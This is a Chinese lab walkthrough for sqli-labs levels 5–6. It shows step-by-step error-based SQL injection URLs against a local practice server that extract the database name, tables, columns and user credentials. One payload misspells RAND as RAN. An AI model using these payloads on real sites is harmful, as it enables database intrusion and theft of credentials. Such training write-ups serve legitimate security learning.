sqli-lab闯关tips 第五关~第六关

** 第五关和第六关为报错型sql注入,此处只对第五关进行详解** 提前声明:本机测试地址为 192.168.226.136 以下仅供参考,切勿用作其他用途,若有错误之处,望见谅。

首先在未知闭合方式的条件下,构造payload进行测试

http://192.168.226.136/sqli-labs-master/Less-5/?id=1

观察到页面回显如下
sqli-lab闯关tips 第五关~第六关_第1张图片
重新构造payload

http://192.168.226.136/sqli-labs-master/Less-5/?id=1'

观察到页面回显sql查询语句错误
sqli-lab闯关tips 第五关~第六关_第2张图片

这里说明我们已经猜中了其闭合方式,后台构造的查询语句为
$sql= “SELECT * FROM 表名 WHERE id = ‘id’ LIMIT 0,1”

构造新的payload

http://192.168.226.136/sqli-labs-master/Less-5/?id=1' order by 3 --+

回显结果与第一次回显结果一致
sqli-lab闯关tips 第五关~第六关_第3张图片

我们判断原本的方法已经不能使用,在正常的查询语句下,只会显示You are in …,而在错误的情况下,会爆出sql语句错误的信息,只存在正确和错误两种返回结果,并且不能像前四关一样再去判断显示位,因为根本没有显示位可以利用。

故我们可以猜想,通过一些方法,能不能让在爆出错误的信息下而获得到我们想要的信息呢?
答案是可以的,通过一些特有的函数,我们可以在错误的信息中得到正确的信息。

因为我们已知闭合方式为单引号
基于报错经常使用的函数
updatexml函数,extractvalue函数,floor函数
构造新的payload

http://192.168.226.136/sqli-labs-master/Less-5/?id=-1' OR 1 GROUP BY CONCAT_WS(0x3a,database(),FLOOR(RAN(0)*2)) HAVING MIN(0) OR 1 --+

这里CONCAT_WS()函数中的0x3a为一个分割符,对应Ascii码表。GROUP BY 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。
根据回显结果,我们可以获取其所使用的库

sqli-lab闯关tips 第五关~第六关_第4张图片

这里,我们可以看到爆出使用的库名为security

知道库名之后,我们再构造新的payload,用来获取security库中的表

http://192.168.226.136/sqli-labs-master/Less-5/?id=-1' AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(table_name) AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)  --+

此处使用了多个函数,不在此一一解释,也可利用hackbar插件等进行直接生成
回显结果为
sqli-lab闯关tips 第五关~第六关_第5张图片

这里我们可以知道,security库中有emails, referers,agents,users 四个表

再次构造新的payload

http://192.168.226.136/sqli-labs-master/Less-5/?id=-1' AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(column_name) AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.columns WHERE table_schema=DATABASE() and table_name='users' LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)  --+

回显为
sqli-lab闯关tips 第五关~第六关_第6张图片

由此我们知道了,security库中的users表中有三列分别为id,username,password

我们已经知道了users表中的列名,再构造新的payload

http://192.168.226.136/sqli-labs-master/Less-5/?id=-1' AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT_ws(0x3a,username,password)) FROM security.users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+

此处通过修改LIMIT 0,1可以将数据慢慢查询出来
会显结果为
sqli-lab闯关tips 第五关~第六关_第7张图片
逐次可查询到数据表中的数据 例将LIMIT0,1修改为 LIMIT1, 1,回显结果就是第二个数据
sqli-lab闯关tips 第五关~第六关_第8张图片
到此完成。
第六关与第五关思想一致,只是闭合方式为" 就是双引号。

你可能感兴趣的:(web安全)